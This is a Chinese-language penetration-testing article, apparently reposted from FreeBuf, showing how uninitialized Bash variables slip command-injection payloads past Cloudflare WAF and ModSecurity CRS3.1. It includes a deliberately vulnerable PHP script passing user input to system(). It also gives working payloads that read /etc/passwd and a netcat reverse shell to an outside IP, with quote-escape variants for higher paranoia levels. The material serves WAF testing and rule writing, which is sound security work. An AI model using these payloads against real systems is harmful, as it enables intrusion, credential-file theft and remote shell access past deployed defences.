您的位置:首页>问答>绕过CloudFlareWAF和ModSecurityOWASPCRS3核心规则集的技巧介绍
关注
221    0

绕过CloudFlareWAF和ModSecurityOWASPCRS3核心规则集的技巧介绍

Web应用防火墙通常会被部署在Web客户端与Web服务器之间,以过滤来自服务器的恶意流量。而作为一名渗透测试人员,想要更好的突破目标系统,就必须要了解目标系统的WAF规则,以及想办法绕过该规则。本文将以CloudFlare WAF和ModSecurity OWASP CRS3为例,为大家进行演示如何使用未初始化的Bash变量,来绕过基于WAF正则表达式的过滤器和模式匹配。

未初始化变量

在之前两篇关于过WAF的文章中,我为大家介绍了如何在Linux系统上通过滥用bash globbing进程,来绕过WAF规则集并执行远程命令的技巧。在本文中我将向大家展示另一种,使用未初始化bash变量绕过基于正则表达式的过滤器和模式匹配的技巧。

echo "uninitialized_variable=$uninitialized_variable"

未初始化变量的值为null(根本没有值)。

uninitialized_variable=

可以看出,声明但未初始化和直接设为空值是相同的。

默认情况下,Bash会像Perl那样处理未初始化的变量:即视为空字符串!让我们从一个例子开始。

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

假设我们要执行cat /etc/passwd命令,我们可以使用以下语法:

cat$u /etc$u/passwd$u

可以看到,其中$u会被bash视为空字符串,且对结果输出也没有任何的影响。我们可以简单的验证下,通过echo命令打印$u。如下:

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

我们可以利用这个特性来绕过WAF规则,让我们使用CloudFlare WAF和ModSecurity OWASP核心规则集3.1进行一些测试。

CloudFlare WAF (pro plan)

和之前一样,我将在一个非常简单的PHP脚本上测试这种绕过技术。需要说明的是,我的测试并不针对CloudFlare WAF,测试的主要目的是为了提醒开发人员注重代码的安全性,以及知道可以采取哪些措施来修复或编写自定义的规则。

我启用了CloudFlare WAF所有的规则,并将安全级别调到了最高(似乎所有规则都基于OWASP CRS2……)。

简单的PHP测试脚本

<?php if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        } ?>

该脚本使用dig来解析主机GET参数上的给定主机名,例如:

/?host=www.google.com

响应结果:

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

显然,我们只需在主机名后加一个分号,就可以实现RCE攻击,例如:

/?host=www.google.com;ls+/

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

那么,我是否可以读取cat /etc/passwd文件呢? 让我们来尝试下:

/?host=www.google.com;cat+/etc/passwd

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

如上所示,WAF规则集阻止了我的请求。现在,让我们尝试使用未初始化变量绕过该规则集。

/?host=www.google.com;cat$u+/etc$u/passwd$u

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

请求放行!我成功读取到了/etc/passwd文件中的内容。┌(◉͜ʖ◉)つ┣▇▇▇═──

CloudFlare有一些特定的规则来防止使用netcat获得反向shell,我决定尝试绕过它们。这里我将所有CloudFlare Specials上的规则设置为了“block”。

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

首先,我尝建立一个nc反向shell。

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

不出所料,CloudFlare阻止了我的请求。现在,我们在nc和/bin/bash后添加一些未初始化的bash变量,如下:

nc$u -e /bin$u/bash$u 1.2.3.4 1337

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

成功绕过并获取到了一个反向shell!

ModSecurity OWASP CRS3.1

使用CRS3.1后绕过难度大大增加,尤其是将Paranoia Level调到3后(CRS3上共有Paranoia Level 1~ 4 四个级别,第四个级别几乎无法绕过),这也是我喜欢CRS3的众多原因之一。

与CloudFlare上发生的情况不同,将CRS3.1级别调到Paranoia Level 3后,我的第一个测试被932100规则阻止,原因是“Unix命令注入”:

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

那么,我们该如何绕过这条规则呢?我尝试使用未初始化变量以 ;<space><uninitialized var><command> 的格式发送请求,看看是否可以成功绕过。如下:

?host=www.google.it;+$u+cat+/etc/passwd

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

可以看到,932100规则成功被绕过!但由于主机参数中包含etc/passwd字符串,我的请求再次被阻止。我能做的是在etc/passwd路径中,添加更多的未初始化变量,如下:

?host=www.google.it;+$u+cat+/etc$u/passwd$u

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

与CloudFlare WAF不同,如果我们将CRS3.1的Paranoia Level调为3,那么我们几乎不可能绕过以双引号包含$_GET['host']的PHP脚本。不信我们可以试一试:

<?php if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        } ?>

有了双引号后,除了分号之外我们还需要闭合或注释掉前后的双引号。例如: 

/?host=www.google.it";cat+/etc/passwd+#

你可能会问,RCE payload中添加了这么多额外的字符,难道不会被CloudFlare阻止吗?我们来看结果~成功绕过!

绕过CloudFlare WAF和ModSecurity OWASP CRS3核心规则集的技巧介绍

之所以无法绕过CRS3 Paranoia Level 3,主要是由于以下两条规则:

  • 942460 元字符异常检测警报 – 非单字字符重复:由于 ”;, 和 字符,导致请求被阻止。
  • 942260 检测基本SQL身份验证绕过尝试 2/3:尝试使用特殊字符,导致请求被阻止。

而如果将Paranoia Level降至2,就可以被绕过。

/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

总结

为什么阻止此类请求会如此困难?为什么WAF不阻止参数值中的$字符?原因很简单,因为那样会导致出现许多误报的情况。恕我直言,相比之下我更认同CRS3的做法,只在单个值中找到4个或更多重复的非单字字符时才进行阻止。这比阻止特定的字符更加聪明有效,且误报率也更低。

转载自FreeBuf.COM